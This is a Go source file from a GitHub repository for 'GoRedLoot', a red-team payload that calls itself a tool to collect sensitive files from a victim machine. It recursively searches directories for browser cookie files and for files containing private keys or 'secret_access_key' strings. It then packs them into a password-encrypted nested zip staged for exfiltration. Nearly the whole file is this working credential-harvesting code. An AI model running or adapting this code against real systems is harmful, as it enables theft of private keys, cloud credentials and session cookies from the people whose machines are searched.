-
Notifications
You must be signed in to change notification settings - Fork 7
/
main.go
165 lines (155 loc) · 4.89 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
//GoRedLoot is a payload to search, collect, and encrypt sensitive filez found on a victim machine
package main
import (
"fmt"
"io"
"io/ioutil"
"os"
"strings"
"github.com/alexmullins/zip"
)
// Plan is to recursivly search some directories (argv1):
// 1. ignore files w/ certain names
// 2. include files w/ certain names
// 3. ignore files w/ certain criteria
// 4. include files w/ certain criteria
// Collect, compress, and encrypt those files somewhere (argv2)
// Keyz is our global list of files to stage for exfil that we are tracking
var Keyz []string
var encryptPassword = "examplepassword"
var ignoreNames = []string{"Keychains", ".vmdk", ".vmem", ".npm", ".vscode", ".dmg", "man1", ".ova", ".iso"}
var ignoreContent = []string{"golang.org/x/crypto"}
var includeNames = []string{"Cookies"}
var includeContent = []string{"BEGIN DSA PRIVATE KEY", "BEGIN RSA PRIVATE KEY", "secret_access_key"}
func main() {
if len(os.Args) < 3 {
fmt.Println("./GoRedLoot [directory to recursivly search] [out file]")
} else {
// First arg, the directory we will recursivly search
pathToDir := os.Args[1]
// Second arg, location we will write double zip file
outFile := os.Args[2]
// Start recursive search
searchForFiles(pathToDir)
if Keyz != nil {
err := ZipFiles(outFile, Keyz, encryptPassword)
if err != nil {
fmt.Println("error writing zip file")
} else {
fmt.Println("wrote zip file")
}
} else {
fmt.Println("no keyz found")
}
}
}
// searchForFiles is a private function that recurses through directories, running our searchFileForCriteria function on every file
func searchForFiles(pathToDir string) {
files, err := ioutil.ReadDir(pathToDir)
if err != nil {
//fmt.Println(err)
return
}
// loop all files in current dir, throw away the index var
for _, file := range files {
if stringLooper(file.Name(), ignoreNames) {
//fmt.Printf("the file %s%s, matched for an ignore file name! excluding file!!", pathToDir, file.Name())
} else {
//fmt.Println(file.Name())
if file.IsDir() {
//fmt.Println("--DEBUG-- File is a dir, recurse time!")
// Need to add the tailing slash for new base directory
dirName := file.Name() + "/"
fullPath := strings.Join([]string{pathToDir, dirName}, "")
// Recurse into the new base directory (note, this makes it a depth first search)
searchForFiles(fullPath)
} else {
// If we find what we are looking for
if searchFileForCriteria(pathToDir, file.Name()) {
fullPath := strings.Join([]string{pathToDir, file.Name()}, "")
//fmt.Printf("--DEBUG-- The file at %s, is worth taking\n", fullPath)
Keyz = append(Keyz, fullPath)
}
}
}
}
}
func searchFileForCriteria(pathToDir, fileName string) bool {
// Recreate our full file path to read the files being searched
fullPath := strings.Join([]string{pathToDir, fileName}, "")
// First thing is we check if this is a file we are explicitly looking for
if stringLooper(fullPath, includeNames) {
//fmt.Printf("This is an explicit match for %s \n", fullPath)
return true
}
fileData, err := ioutil.ReadFile(fullPath)
if err != nil {
fmt.Println(err)
}
fileLines := strings.Split(string(fileData), "\n")
for _, line := range fileLines {
// first we explicitly ignore content
if stringLooper(line, ignoreContent) {
//fmt.Printf("the file %s%s, matched on line %d, for an ignore content! excluding file!\n", pathToDir, fileName, i)
return false
}
// next we explicitly look for content
if stringLooper(line, includeContent) {
//fmt.Printf("The file %s%s, matched on line %d, for an include content!\n", pathToDir, fileName, i)
return true
}
}
return false
}
// A function to loop over our string slices and match any of our globally defined content
func stringLooper(target string, list []string) bool {
for _, loot := range list {
if strings.Contains(target, loot) {
//fmt.Printf("the exact content that matched is : %s \n", loot)
return true
}
}
return false
}
// ZipFiles compresses one or many files into a single zip archive file
func ZipFiles(filename string, files []string, encryptPassword string) error {
newfile, err := os.Create(filename)
if err != nil {
return err
}
defer newfile.Close()
zipWriter := zip.NewWriter(newfile)
defer zipWriter.Close()
encryptedWriter, err := zipWriter.Encrypt("", encryptPassword)
if err != nil {
return err
}
encryptedZipWriter := zip.NewWriter(encryptedWriter)
// Add files to zip
for _, file := range files {
zipfile, err := os.Open(file)
if err != nil {
return err
}
defer zipfile.Close()
// Get the file information
info, err := zipfile.Stat()
if err != nil {
return err
}
header, err := zip.FileInfoHeader(info)
if err != nil {
return err
}
header.Method = zip.Deflate
writer, err := encryptedZipWriter.CreateHeader(header)
if err != nil {
return err
}
_, err = io.Copy(writer, zipfile)
if err != nil {
return err
}
}
return nil
}